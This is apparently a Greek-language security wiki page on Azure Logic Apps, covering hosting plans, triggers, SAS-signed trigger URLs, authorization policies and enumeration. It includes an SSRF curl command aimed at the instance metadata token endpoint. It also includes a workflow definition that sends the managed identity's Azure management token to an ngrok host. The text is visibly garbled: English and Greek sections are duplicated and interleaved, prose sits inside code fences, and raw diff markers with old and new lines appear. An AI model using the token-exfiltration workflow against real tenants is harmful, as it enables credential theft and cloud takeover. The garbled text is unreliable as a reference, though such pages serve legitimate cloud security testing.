<figure><img src="../../../images/image (197).png" alt="https://infiniteblogs.blob.core.windows.net/medias/4de7fba4-1d43-465a-8c12-8da966a2cdb3_Overview.png"><figcaption></figcaption></figure>
### Examples
### Hosting options
- **Automating Data Pipelines**: Logic Apps μπορούν να αυτοματοποιήσουν **διαδικασίες μεταφοράς και μετασχηματισμού δεδομένων** σε συνδυασμό με το Azure Data Factory. Αυτό είναι χρήσιμο για τη δημιουργία κλιμακούμενων και αξιόπιστων ροών δεδομένων που μεταφέρουν και μετασχηματίζουν δεδομένα μεταξύ διαφόρων αποθηκευτικών χώρων δεδομένων, όπως το Azure SQL Database και το Azure Blob Storage, βοηθώντας σε αναλύσεις και επιχειρηματική ευφυΐα.
- **Integrating with Azure Functions**: Logic Apps μπορούν να λειτουργούν παράλληλα με το Azure Functions για την ανάπτυξη **πολύπλοκων, εκδηλωτικών εφαρμογών που κλιμακώνονται κατά ανάγκη** και ενσωματώνονται ομαλά με άλλες υπηρεσίες Azure. Ένα παράδειγμα χρήσης είναι η χρήση μιας Logic App για την ενεργοποίηση μιας Azure Function ως απάντηση σε ορισμένα γεγονότα, όπως οι αλλαγές σε έναν λογαριασμό Azure Storage, επιτρέποντας τη δυναμική επεξεργασία δεδομένων.
Υπάρχουν αρκετές επιλογές φιλοξενίας:
### Visualize a LogicAPP
* **Consumption**
- **Multi-tenant**: Αυτό παρέχει κοινόχρηστους υπολογιστικούς πόρους, λειτουργεί στο δημόσιο σύννεφο και ακολουθεί ένα μοντέλο τιμολόγησης ανά λειτουργία. Αυτό είναι ιδανικό για ελαφριές και οικονομικές φορτίσεις εργασίας. Αυτό θα το ονομάσουμε "Μοναδική Ροή Εργασίας".
* **Standard**
- **Workflow Service Plan**: Αυτό παρέχει αφιερωμένους υπολογιστικούς πόρους με ενσωμάτωση VNET για δικτύωση και χρεώνει ανά περίπτωση σχεδίου υπηρεσίας ροής εργασίας. Είναι κατάλληλο για πιο απαιτητικές φορτίσεις εργασίας που απαιτούν μεγαλύτερο έλεγχο.
- **App Service Environment V3:** Αυτό παρέχει αφιερωμένους υπολογιστικούς πόρους με πλήρη απομόνωση και κλιμάκωση. Επίσης, ενσωματώνεται με VNET για δικτύωση και χρησιμοποιεί ένα μοντέλο τιμολόγησης βασισμένο σε περιπτώσεις App Service εντός του περιβάλλοντος.
- **Hybrid:** Αυτό έχει σχεδιαστεί για τοπική επεξεργασία και υποστήριξη πολλών σύννεφων. Επιτρέπει τη διαχείριση υπολογιστικών πόρων από τον πελάτη με τοπική πρόσβαση στο δίκτυο και χρησιμοποιεί το Kubernetes Event-Driven Autoscaling (KEDA). Εξαρτάται από ένα Container App Connected Environment.
Είναι δυνατή η προβολή μιας LogicApp με γραφικά:
## "Single" Workflows / Consumption Plan
<figure><img src="../../../images/image (197).png" alt=""><figcaption></figcaption></figure>
Μια **ροή εργασίας** είναι μια δομημένη ακολουθία αυτοματοποιημένων βημάτων ή εργασιών που εκτελούν μια συγκεκριμένη διαδικασία ή στόχο. Ορίζει πώς διαφορετικές ενέργειες, συνθήκες και αποφάσεις αλληλεπιδρούν για να επιτύχουν ένα επιθυμητό αποτέλεσμα, απλοποιώντας τις λειτουργίες και μειώνοντας την ανθρώπινη προσπάθεια.
ή να ελέγξετε τον κώδικα στην ενότητα "**Logic app code view**".
> [!TIP]
> Το σχέδιο κατανάλωσης επιτρέπει **τη δημιουργία μιας μοναδικής ροής εργασίας χωρίς την ανάγκη της ίδιας της Logic App**.
### SSRF Protection
### Triggers & Actions
Ακόμα και αν βρείτε την **Logic App ευάλωτη σε SSRF**, δεν θα μπορείτε να αποκτήσετε πρόσβαση στα διαπιστευτήρια από τα μεταδεδομένα καθώς οι Logic Apps δεν το επιτρέπουν.
Οι ενεργοποιητές ροής εργασίας υποδεικνύουν **πότε θα πρέπει να ξεκινήσει η ροή εργασίας**. Οι ενεργοποιητές μπορεί να είναι ένα HTTP endpoint, ένα πρόγραμμα ή δεκάδες διαφορετικά γεγονότα από το Azure ή ακόμη και εξωτερικές εφαρμογές.
Για παράδειγμα, κάτι τέτοιο δεν θα επιστρέψει το token:
```bash
# The URL belongs to a Logic App vulenrable to SSRF
curl -XPOST 'https://prod-44.westus.logic.azure.com:443/workflows/2d8de4be6e974123adf0b98159966644/triggers/manual/paths/invoke?api-version=2016-10-01&sp=%2Ftriggers%2Fmanual%2Frun&sv=1.0&sig=_8_oqqsCXc0u2c7hNjtSZmT0uM4Xi3hktw6Uze0O34s' -d '{"url": "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"}' -H "Content-type: application/json" -v
Κάθε ροή εργασίας έχει διαφορετικές **ενέργειες**. Αυτές οι ενέργειες είναι τα βήματα που ακολουθεί η ροή εργασίας. Ανάλογα με την ενέργεια, θα είναι διαθέσιμες διαφορετικές παράμετροι για να την ρυθμίσετε, όπως:
- **Connection name**: Σύνδεση που θα χρησιμοποιηθεί και με την οποία θα αλληλεπιδράσει η ενέργεια.
- **Authentication Type:** Οι διαφορετικές επιλογές είναι Access Key, Microsoft Entra ID, Integrated Service principal authentication και Logic Apps Managed Identity.
- Από μια προοπτική μόνο ανάγνωσης, τα δεδομένα **Authentication** είναι πάντα ενδιαφέροντα καθώς μπορεί να περιέχουν ευαίσθητες πληροφορίες.
- Από μια προοπτική εγγραφής, τα δεδομένα **Authentication** είναι πάντα ενδιαφέροντα καθώς μπορεί να επιτρέπουν τη χρήση των δικαιωμάτων των ανατεθειμένων διαχειριζόμενων ταυτοτήτων.
- ...
Οι ενέργειες έχουν επίσης διάφορες **ρυθμίσεις**, οι οποίες εξαρτώνται από την ίδια την ενέργεια. Ορισμένες από τις πιο κοινές ρυθμίσεις είναι:
- **Retry Policy**: Ρυθμίζει τον αριθμό των επαναλήψεων και το διάστημα μεταξύ τους.
- **Timeout**: Ορίζει το μέγιστο χρόνο που μπορεί να εκτελείται η ενέργεια πριν λήξει.
- **Run After**: Προσδιορίζει τις συνθήκες που πρέπει να πληρούνται πριν εκτελεστεί η ενέργεια.
- **Schema Validation**: Διασφαλίζει ότι τα εισερχόμενα δεδομένα ακολουθούν μια προκαθορισμένη δομή.
- **Networking**: Ρυθμίζει πώς να διαχειρίζεται διαφορετικές κεφαλίδες.
- **Secure Inputs/Outputs**: Αυτό θα κρύψει τα δεδομένα εισόδου/εξόδου από την ιστορία εκτέλεσης.
- ...
### Authorization Policies
Αυτές οι ροές εργασίας υποστηρίζουν **πολιτικές εξουσιοδότησης** με Entra ID για να ασφαλίσουν τους ενεργοποιητές που βασίζονται σε αιτήματα απαιτώντας ένα έγκυρο διακριτικό πρόσβασης. Αυτό το διακριτικό πρέπει να περιλαμβάνει συγκεκριμένες αξιώσεις:
- Issuer (iss) για να επαληθεύσει τον πάροχο ταυτότητας
- Audience (aud) για να διασφαλίσει ότι το διακριτικό προορίζεται για την Logic App
- Subject (sub) για να προσδιορίσει τον καλούντα
- JWT ID (JSON Web Token identifier)
- Custom Claim
Όταν ληφθεί ένα αίτημα, η Logic Apps επικυρώνει το διακριτικό σύμφωνα με αυτές τις αξιώσεις και επιτρέπει την εκτέλεση μόνο εάν ταιριάζουν με την καθορισμένη πολιτική. Αυτό μπορεί να χρησιμοποιηθεί για να επιτρέψει σε άλλο ενοίκιο να ενεργοποιήσει τη ροή εργασίας ή να αρνηθεί την ενεργοποίηση από άλλες πηγές, για παράδειγμα επιτρέποντας την ενεργοποίηση μόνο εάν προέρχεται από το https://login.microsoftonline.com/.
### Access Keys
Οι ροές εργασίας **παράγουν 2 κλειδιά πρόσβασης** όταν δημιουργούνται. Αυτά τα κλειδιά χρησιμοποιούνται για την πιστοποίηση και την εξουσιοδότηση αιτημάτων προς τη ροή εργασίας. Τα κλειδιά χρησιμοποιούνται για να παραγάγουν ένα Shared Access Signature (SAS) token, το οποίο περιλαμβάνεται στο URL του αιτήματος.
Έτσι, όταν δημιουργείται ένας ενεργοποιητής HTTP endpoint, παράγεται ένα **μοναδικό HTTP endpoint με μια υπογραφή SAS** που παρέχει άδεια για να καλέσει τη ροή εργασίας.
Αυτά τα **κλειδιά μπορούν να αναγεννηθούν** και ένα νέο SAS URL θα δημιουργηθεί για αυτούς τους ενεργοποιητές, αλλά οι **τιμές των κλειδιών δεν μπορούν να προσπελαστούν**.
Παράδειγμα ενός SAS URL για να ενεργοποιήσει έναν ενεργοποιητή:
```
### Επιλογές φιλοξενίας
Υπάρχουν πολλές επιλογές φιλοξενίας:
* **Κατανάλωση**
- **Πολυ-ενοικιαζόμενο**: παρέχει κοινόχρηστους υπολογιστικούς πόρους, λειτουργεί στο δημόσιο σύννεφο και ακολουθεί ένα μοντέλο τιμολόγησης ανά λειτουργία. Αυτό είναι ιδανικό για ελαφριά και οικονομικά φορτία εργασίας. Αυτό αναπτύσσει μια "Μοναδική Ροή Εργασίας".
* **Κανονικό**
- **Σχέδιο Υπηρεσίας Ροής Εργασίας**: αφιερωμένοι υπολογιστικοί πόροι με ενσωμάτωση VNET για δικτύωση και χρεώσεις ανά περίπτωση σχεδίου υπηρεσίας ροής εργασίας. Είναι κατάλληλο για πιο απαιτητικά φορτία εργασίας που απαιτούν μεγαλύτερο έλεγχο.
- **Περιβάλλον Υπηρεσίας Εφαρμογών V3** αφιερωμένοι υπολογιστικοί πόροι με πλήρη απομόνωση και κλιμάκωση. Επίσης, ενσωματώνεται με VNET για δικτύωση και χρησιμοποιεί ένα μοντέλο τιμολόγησης βασισμένο σε περιπτώσεις Υπηρεσίας Εφαρμογών εντός του περιβάλλοντος.
- **Υβριδικό** σχεδιασμένο για τοπική επεξεργασία και υποστήριξη πολλών σύννεφων. Επιτρέπει τη διαχείριση υπολογιστικών πόρων από τον πελάτη με τοπική πρόσβαση στο δίκτυο και χρησιμοποιεί το Kubernetes Event-Driven Autoscaling (KEDA). Βασίζεται σε ένα Περιβάλλον Συνδεδεμένης Εφαρμογής Κοντέινερ.
### Κύρια Χαρακτηριστικά
- **Αποθήκευση**: Οι Logic Apps απαιτούν έναν εξωτερικό λογαριασμό Azure Storage για να αποθηκεύουν την κατάσταση ροής εργασίας, την ιστορία εκτέλεσης… και πρέπει να βρίσκονται στην ίδια ομάδα πόρων με την Logic App.
- **Δικτύωση & Ασφάλεια**: Οι Logic Apps μπορούν να ρυθμιστούν με δημόσια ή ιδιωτική πρόσβαση. Από προεπιλογή, η εφαρμογή είναι ανοιχτή στο διαδίκτυο αλλά μπορεί να ενσωματωθεί με ένα Azure Virtual Network για απομονωμένη συνδεσιμότητα.
- **Application Insights**: Η Διαχείριση Απόδοσης Εφαρμογών (APM) μέσω του Azure Monitor Application Insights μπορεί να ενεργοποιηθεί για την παρακολούθηση της απόδοσης, την ανίχνευση ανωμαλιών και την παροχή αναλύσεων.
- **Έλεγχος Πρόσβασης**: Οι Logic Apps υποστηρίζουν Διαχειριζόμενες Ταυτότητες Συστήματος & Διαχειριζόμενες Ταυτότητες Χρηστών.
### "Μοναδικές" Ροές Εργασίας
Μια **ροή εργασίας** είναι μια δομημένη ακολουθία αυτοματοποιημένων βημάτων ή εργασιών που εκτελούν μια συγκεκριμένη διαδικασία ή στόχο. Ορίζει πώς αλληλεπιδρούν διαφορετικές ενέργειες, συνθήκες και αποφάσεις για να επιτευχθεί ένα επιθυμητό αποτέλεσμα, απλοποιώντας τις λειτουργίες και μειώνοντας την χειροκίνητη εργασία. Οι ροές εργασίας μπορούν να ενσωματώσουν πολλά συστήματα, να ενεργοποιήσουν γεγονότα και κανόνες, διασφαλίζοντας τη συνέπεια και την αποδοτικότητα στις διαδικασίες.
Οι Azure Logic Apps παρέχουν τη δυνατότητα **δημιουργίας μιας μοναδικής ροής εργασίας χωρίς την ανάγκη της Logic App** ίδιας.
Κάθε ροή εργασίας έχει διαφορετικούς **εκκινητές**. Αυτοί οι εκκινητές είναι τα βήματα που ακολουθεί η ροή εργασίας. Κάθε εκκινητής έχει τις παραμέτρους του που μπορεί να διαφέρουν ανάλογα με τον τύπο του εκκινητή:
- Όνομα σύνδεσης
- **Τύπος Αυθεντικοποίησης** που μπορεί να είναι, Access Key, Microsoft Entra ID, Integrated Service principal authentication και Logic Apps Managed Identity.
Οι εκκινητές έχουν επίσης διάφορες ρυθμίσεις:
- Έλεγχος Σχήματος: Διασφαλίζει ότι τα εισερχόμενα δεδομένα ακολουθούν μια προκαθορισμένη δομή.
- Έλεγχος Συγχρονισμού: Περιορίζει τον αριθμό των παράλληλων εκτελέσεων.
- Συνθήκες Εκκινητή: συνθήκες που πρέπει να πληρούνται πριν ο εκκινητής ενεργοποιηθεί.
- Δικτύωση: Ρυθμίζει το μέγεθος τμήματος για τη μεταφορά δεδομένων και επιτρέπει την απόκρυψη των κεφαλίδων ροής εργασίας στις απαντήσεις.
- **Ασφάλεια**: Ενεργοποιεί **Ασφαλή Είσοδοι/Έξοδοι για απόκρυψη** ευαίσθητων δεδομένων στα αρχεία καταγραφής και τις εξόδους.
**Ρυθμίσεις & Συνδέσεις API:**
Μια ροή εργασίας έχει διαφορετικές ρυθμίσεις όπως:
- Επιτρεπόμενες εισερχόμενες διευθύνσεις IP: Αυτή η ρύθμιση σας επιτρέπει να περιορίσετε ποιος μπορεί να ενεργοποιήσει ή να ξεκινήσει την Logic App σας. Οι επιλογές είναι Οποιαδήποτε IP, Μόνο άλλες Logic Apps και Συγκεκριμένα εύρη IP.
- Λογαριασμός ενσωμάτωσης: Εδώ, μπορείτε να συνδέσετε την Logic App σας με έναν Λογαριασμό Ενσωμάτωσης.
- Υψηλή απόδοση: Αυτή η ρύθμιση επιτρέπει στην Logic App σας να διαχειρίζεται περισσότερα αιτήματα γρήγορα.
- Διατήρηση ιστορικού εκτέλεσης: για πόσο καιρό διατηρείται η ιστορία των εκτελέσεων της Logic App σας.
Μπορείτε να δείτε τις διαφορετικές συνδέσεις API που έχει η ροή εργασίας. Μέσα σε κάθε μία από αυτές τις συνδέσεις έχουν διαφορετικές ιδιότητες και τη δυνατότητα επεξεργασίας της σύνδεσης API όπου ο τύπος αυθεντικοποίησης μπορεί να αλλάξει.
**Ιστορικό & Εκδόσεις:**
Έχει την επιλογή πρόσβασης στο **ιστορικό** των διαφορετικών εκτελέσεων, δείχνει, Ρυθμίσεις, Έξοδο, Παράμετροι και τον Κώδικα.
Έχει επίσης την επιλογή πρόσβασης σε διαφορετικές **εκδόσεις** της ροής εργασίας, όπου μπορείτε να ελέγξετε τον κώδικα και να αλλάξετε την παρούσα ροή εργασίας με μια παλαιότερη έκδοση της.
**Εξουσιοδότηση:**
Οι Azure Logic Apps υποστηρίζουν **πολιτικές εξουσιοδότησης** με Entra ID για την ασφάλεια των εκκινητών που βασίζονται σε αιτήματα απαιτώντας ένα έγκυρο διακριτικό πρόσβασης. Αυτό το διακριτικό πρέπει να περιλαμβάνει συγκεκριμένες αξιώσεις:
- Εκδότης (iss) για την επαλήθευση του παρόχου ταυτότητας
- Κοινό (aud) για να διασφαλιστεί ότι το διακριτικό προορίζεται για την Logic App
- Θέμα (sub) για την αναγνώριση του καλούντος
- ID JWT (αναγνωριστικό JSON Web Token)
- Προσαρμοσμένη Αξίωση
Όταν ληφθεί ένα αίτημα, οι Logic Apps επικυρώνουν το διακριτικό σύμφωνα με αυτές τις αξιώσεις και επιτρέπουν την εκτέλεση μόνο εάν ταιριάζουν με την ρυθμισμένη πολιτική. Αυτό μπορεί να χρησιμοποιηθεί για να επιτραπεί σε άλλο ενοικιαστή να ενεργοποιήσει τη ροή εργασίας ή να αρνηθεί την ενεργοποίηση από άλλες πηγές, για παράδειγμα επιτρέποντας την ενεργοποίηση μόνο εάν προέρχεται από https://login.microsoftonline.com/.
**Κλειδιά Πρόσβασης:**
Όταν αποθηκεύετε έναν εκκινητή που βασίζεται σε αίτημα για πρώτη φορά, οι Logic Apps δημιουργούν αυτόματα ένα μοναδικό σημείο πρόσβασης με μια υπογραφή SAS (δημιουργημένη από το Access Key) που παρέχει άδεια να καλέσετε τη ροή εργασίας. Αυτή η υπογραφή SAS είναι ενσωματωμένη στη διεύθυνση URL του εκκινητή. Αυτό το κλειδί μπορεί να αναγεννηθεί και θα δώσει νέα υπογραφή SAS, αλλά τα κλειδιά δεν μπορούν να καταγραφούν.
Η διεύθυνση URL για να το καλέσετε με το Access Key:
https://<region>.logic.azure.com:443/workflows/<workflow-id>/triggers/<trigger-name>/paths/invoke?api-version=<api-version>&sp=%2Ftriggers%2F<trigger-name>%2Frun&sv=<version>&sig=<signature>
```
### Ρυθμίσεις Ροής Εργασίας & Συστατικά
- **Επιλογή πρόσβασης ενεργοποίησης**: Αυτή η ρύθμιση σας επιτρέπει να περιορίσετε ποιος μπορεί να ενεργοποιήσει ή να ξεκινήσει τη ροή εργασίας σας. Οι επιλογές είναι Οποιαδήποτε IP, Μόνο άλλη ροή εργασίας και Συγκεκριμένα εύρη IP.
- **Λογαριασμός ολοκλήρωσης**: Συνδέστε τη ροή εργασίας σας με έναν Λογαριασμό Ολοκλήρωσης.
- **Υψηλή απόδοση**: Αν είναι ενεργοποιημένο, επιτρέπει την ταχύτερη διαχείριση περισσότερων αιτημάτων παράλληλα.
- **Διατήρηση ιστορικού εκτέλεσης**: Αυτό υποδεικνύει τον αριθμό των ημερών για τις οποίες θα διατηρείται το ιστορικό εκτέλεσης.
- **Συνδέσεις API**: Αυτό δείχνει τις διαφορετικές συνδέσεις API που έχει η ροή εργασίας. Μέσα σε καθεμία από αυτές τις συνδέσεις έχουν διαφορετικές ιδιότητες και τη δυνατότητα επεξεργασίας της σύνδεσης API όπου μπορεί να αλλάξει ο τύπος Αυθεντικοποίησης.
- **Ιστορικό**: Έχει την επιλογή πρόσβασης στο **ιστορικό** παλαιών εκτελέσεων και λήψη δεδομένων: Ρυθμίσεις, Έξοδος, Παράμετροι και ο Κώδικας.
- **Εκδόσεις**: Έχει την επιλογή πρόσβασης σε διαφορετικές **εκδόσεις** της ροής εργασίας, όπου μπορείτε να ελέγξετε τον κώδικα και να αλλάξετε τη παρούσα ροή εργασίας με μια παλαιότερη έκδοση της.
- **Διαχειριζόμενες Ταυτότητες**: Είναι δυνατή η ανάθεση 1 διαχειριζόμενης ταυτότητας συστήματος και διαχειριζόμενης ταυτότητας χρήστη στη ροή εργασίας.
### Διαρροή MI access tokens
Η ενέργεια HTTP σε μια ροή εργασίας μπορεί να χρησιμοποιηθεί για την αποστολή δεδομένων σε έναν εξωτερικό ιστό. Στις **Προηγμένες παραμέτρους** της ενέργειας HTTP, είναι δυνατή η ρύθμιση του **Τύπου Αυθεντικοποίησης** ως **`Managed identity`** και στη συνέχεια η επιλογή της **ανατεθείσας Διαχειριζόμενης Ταυτότητας** προς χρήση (συστήματος ή χρήστη).
Επιπλέον, είναι δυνατή η ένδειξη στο **`Audience`** του κοινού του παραγόμενου JWT, το οποίο θα μπορούσε να είναι για παράδειγμα **`https://management.azure.com/`** ώστε να μπορείτε να χρησιμοποιήσετε το παραγόμενο διακριτικό για πρόσβαση στο Azure management API.
> [!WARNING]
> Κάνοντάς την ενέργεια να στείλει το HTTP αίτημα σε έναν διακομιστή που ελέγχεται από έναν επιτιθέμενο, είναι δυνατό να **διαρρεύσει το διακριτικό πρόσβασης της διαχειριζόμενης ταυτότητας** που έχει ανατεθεί στη ροή εργασίας.
> [!TIP]
> Ένας επιτιθέμενος θα μπορούσε επίσης να χρησιμοποιήσει άλλους τύπους ενεργειών για να **πρόσβαση απευθείας σε άλλες υπηρεσίες Azure** και να εκτελέσει ενέργειες με τις άδειες της διαχειριζόμενης ταυτότητας.
Αυτός είναι ο κώδικας μιας ροής εργασίας που εκθέτει ένα HTTP endpoint και στη συνέχεια χρησιμοποιεί μια ενέργεια HTTP για να διαρρεύσει το διακριτικό πρόσβασης στη ρυθμισμένη διεύθυνση URL (ngrok σε αυτή την περίπτωση):
<details>
<summary>Κώδικας Ροής Εργασίας</summary>
```json
{
"definition": {
"$schema": "https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#",
"contentVersion": "1.0.0.0",
"triggers": {
"When_a_HTTP_request_is_received": {
"type": "Request",
"kind": "Http"
}
},
"actions": {
"HTTP": {
"runAfter": {},
"type": "Http",
"inputs": {
"uri": "https://22b6-81-33-70-107.ngrok-free.app",
"method": "GET",
"authentication": {
"type": "ManagedServiceIdentity",
"audience": "https://management.azure.com/"
}
},
"runtimeConfiguration": {
"contentTransfer": {
"transferMode": "Chunked"
}
}
}
},
"outputs": {},
"parameters": {
"$connections": {
"type": "Object",
"defaultValue": {}
}
}
},
"parameters": {
"$connections": {
"type": "Object",
"value": {}
}
}
}
```
</details>
## Logic Apps / Standard Plan
### Διαφορές με τα "Μοναδικά" Ροές Εργασίας
Οι λογικές εφαρμογές χρησιμοποιούν βασικά μια Υπηρεσία Εφαρμογών στο παρασκήνιο για να **φιλοξενούν τη λογική εφαρμογή που μπορεί να φιλοξενεί πολλές ροές εργασίας**. Αυτό σημαίνει ότι η λογική εφαρμογή θα έχει όλα τα χαρακτηριστικά μιας Υπηρεσίας Εφαρμογών και των "Μοναδικών" Ροών Εργασίας.
Ορισμένα βασικά χαρακτηριστικά θα είναι:
- **Σχέδιο Υπηρεσίας Εφαρμογών**: Οι Λογικές Εφαρμογές στο Σχέδιο Standard φιλοξενούνται σε ένα Σχέδιο Υπηρεσίας Εφαρμογών, επομένως είναι δυνατή η χρήση όλων των χαρακτηριστικών της Υπηρεσίας Εφαρμογών όπως:
- **Περιορισμοί Δικτύου**: Υποδεικνύει από πού είναι προσβάσιμο.
- **Κέντρο Ανάπτυξης**: Ανάπτυξη από εξωτερικές πλατφόρμες όπως Github, Bitbucket, Azure Repos, Εξωτερικό Git και Τοπικό Git.
- **Πρόσβαση FTP**: Είναι δυνατή η πρόσβαση στα αρχεία της Λογικής Εφαρμογής μέσω FTP.
- **Λογαριασμός Αποθήκευσης**: Η υπηρεσία εφαρμογής χρησιμοποιεί έναν λογαριασμό αποθήκευσης για να αποθηκεύει πληροφορίες.
- **Μεταβλητές Περιβάλλοντος & Ρυθμίσεις Εφαρμογής**: Είναι δυνατή η ρύθμιση μεταβλητών περιβάλλοντος και ρυθμίσεων εφαρμογής (και η εύρεση ευαίσθητων πληροφοριών όπως κλειδιά πρόσβασης στον λογαριασμό αποθήκευσης).
- ...
- **Παράμετροι**: Οι παράμετροι σας επιτρέπουν να διαχειρίζεστε τιμές που ποικίλλουν μεταξύ ανάπτυξης, δοκιμής και παραγωγής. Αυτό σας επιτρέπει να σχεδιάσετε ροές εργασίας πρώτα και στη συνέχεια να προσαρμόσετε εύκολα τις ρυθμίσεις που σχετίζονται με το περιβάλλον αργότερα.
- **Αφιερωμένοι Πόροι**: Οι Λογικές Εφαρμογές στο Σχέδιο Standard διαθέτουν αφιερωμένους πόρους.
- **Πολλές Ροές Εργασίας**: Επιτρέπει τη δημιουργία πολλών ροών εργασίας.
Για περισσότερες πληροφορίες σχετικά με τις Υπηρεσίες Εφαρμογών ελέγξτε:
{{#ref}}
../az-services/az-app-services.md
{{#endref}}
### Αριθμητική
@@ -203,17 +279,17 @@ Get-AzLogicAppTriggerHistory -ResourceGroupName "<ResourceGroupName>" -Name "<Lo
{{#endtab }}
{{#endtabs }}
### Λογαριασμοί Ενοποίησης
## Λογαριασμοί Ενοποίησης
**Λογαριασμοί Ενοποίησης**, είναι μια δυνατότητα των Azure Logic Apps. Οι Λογαριασμοί Ενοποίησης χρησιμοποιούνται για να διευκολύνουν τις ενοποιήσεις σε επίπεδο επιχείρησης, επιτρέποντας προηγμένες δυνατότητες B2B, όπως EDI, AS2 και διαχείριση XML schema. Οι Λογαριασμοί Ενοποίησης είναι ένα δοχείο στο Azure που αποθηκεύει τα εξής αντικείμενα που χρησιμοποιούνται για τα Logic Apps:
* Σχήματα: Διαχείριση XML schemas για την επικύρωση και επεξεργασία μηνυμάτων στον λογαριασμό ενοποίησης σας.
* Χάρτες: Διαμόρφωση μετασχηματισμών βασισμένων σε XSLT για τη μετατροπή μορφών δεδομένων εντός των ροών εργασίας ενοποίησης σας.
* Συγκροτήματα: Διαχείριση συγκροτημάτων λογαριασμού ενοποίησης για την απλοποίηση της λογικής και της επεξεργασίας δεδομένων.
* Πιστοποιητικά: Διαχείριση πιστοποιητικών για την κρυπτογράφηση και την υπογραφή μηνυμάτων, εξασφαλίζοντας ασφαλή επικοινωνία.
* Εταίροι: Διαχείριση πληροφοριών εμπορικών εταίρων για B2B συναλλαγές, επιτρέποντας απρόσκοπτες ενοποιήσεις.
* Συμφωνίες: Διαμόρφωση κανόνων και ρυθμίσεων για την ανταλλαγή δεδομένων με εμπορικούς εταίρους (π.χ., EDI, AS2).
* Ρυθμίσεις Παρτίδας: Διαχείριση ρυθμίσεων επεξεργασίας παρτίδων για την ομαδοποίηση και επεξεργασία μηνυμάτων αποτελεσματικά.
* RosettaNet PIP: Διαμόρφωση διαδικασιών διεπαφής εταίρων RosettaNet (PIPs) για τον εκσυγχρονισμό της B2B επικοινωνίας.
* **Schemas**: Διαχείριση XML schemas για την επικύρωση και επεξεργασία μηνυμάτων στον λογαριασμό ενοποίησης σας.
* **Maps**: Ρύθμιση μετασχηματισμών βασισμένων σε XSLT για τη μετατροπή μορφών δεδομένων μέσα στις ροές εργασίας ενοποίησης σας.
* **Assemblies**: Διαχείριση των assemblies του λογαριασμού ενοποίησης για την απλοποίηση της λογικής και της επεξεργασίας δεδομένων.
* **Certificates**: Διαχείριση πιστοποιητικών για την κρυπτογράφηση και υπογραφή μηνυμάτων, εξασφαλίζοντας ασφαλή επικοινωνία.
* **Partners**: Διαχείριση πληροφοριών εμπορικών εταίρων για B2B συναλλαγές, επιτρέποντας απρόσκοπτες ενοποιήσεις.
* **Agreements**: Ρύθμιση κανόνων και ρυθμίσεων για την ανταλλαγή δεδομένων με εμπορικούς εταίρους (π.χ., EDI, AS2).
* **Batch Configurations**: Διαχείριση ρυθμίσεων επεξεργασίας παρτίδων για την ομαδοποίηση και επεξεργασία μηνυμάτων αποτελεσματικά.
* **RosettaNet PIP**: Ρύθμιση των RosettaNet Partner Interface Processes (PIPs) για τον εκσυγχρονισμό της B2B επικοινωνίας.
#### Αρίθμηση
@@ -315,9 +391,9 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
{{#endtabs }}
## Ανύψωση Δικαιωμάτων
## Κλιμάκωση Δικαιωμάτων
Ίδιο με την ανύψωση δικαιωμάτων των λογικών εφαρμογών:
Ίδιο με την κλιμάκωση δικαιωμάτων των λογικών εφαρμογών:
{{#ref}}
../az-privilege-escalation/az-logic-apps-privesc.md
@@ -329,4 +405,10 @@ Get-AzIntegrationAccountSchema -ResourceGroupName <resource-group-name> -Integra
../az-post-exploitation/az-logic-apps-post-exploitation.md
{{#endref}}
## Επιμονή
{{#ref}}
../az-persistence/az-logic-apps-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}